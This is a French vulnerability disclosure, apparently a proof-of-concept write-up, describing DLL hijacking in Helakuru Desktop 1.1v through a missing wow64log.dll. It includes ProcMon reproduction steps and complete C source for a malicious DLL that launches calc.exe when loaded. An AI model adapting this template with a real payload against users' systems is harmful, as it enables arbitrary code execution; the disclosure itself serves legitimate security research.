HelakuruV.1.1-DLLHijack

Vulnérabilité de détournement de DLL dans Helakuru

Résumé

La version 1.1v de Helakuru Desktop fonctionne sur les architectures 64 bits et 32 bits. Lors des tests, il a été identifié que le programme tente de charger wow64log.dll, qui n'est pas inclus par défaut dans les systèmes d'exploitation Windows modernes. Cela entraîne une erreur « Name not found », exposant le programme à une vulnérabilité de détournement de DLL. En créant une wow64log.dll malveillante, une exécution de code arbitraire peut être réalisée.

Version concernée

Helakuru Desktop 1.1v

Étapes pour reproduire

1. Surveiller le chargement des DLL avec ProcMon

• ProcMon affichant l'opération CreateFile avec « Name not found » pour wow64log.dll

2. Créer une wow64log.dll malveillante

#include <windows.h>
#include <stdio.h>

void LaunchCalculator()
{
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    const char* calcCmd = "C:\\Windows\\System32\\calc.exe";

    if (!CreateProcessA(
        NULL,          
        (LPSTR)calcCmd, 
        NULL,          
        NULL,          
        FALSE,         
        0,             
        NULL,          
        NULL,          
        &si,           
        &pi))          
    {
        printf("CreateProcess failed (%d).\n", GetLastError());
    }
    else
    {
        WaitForSingleObject(pi.hProcess, INFINITE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        LaunchCalculator();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

3. Exécuter Helakuru Desktop

• Relancez Helakuru Desktop. La wow64log.dll malveillante sera maintenant chargée dans le programme, déclenchant la Calculatrice comme démonstration d'une injection DLL réussie.

4. Vérifier le chargement de la DLL avec ProcMon

• Rouvrez ProcMon et observez que la wow64log.dll est chargée avec succès cette fois, confirmant que la DLL personnalisée a été exécutée par le programme.

Impact : Cette vulnérabilité permet l'exécution de code arbitraire.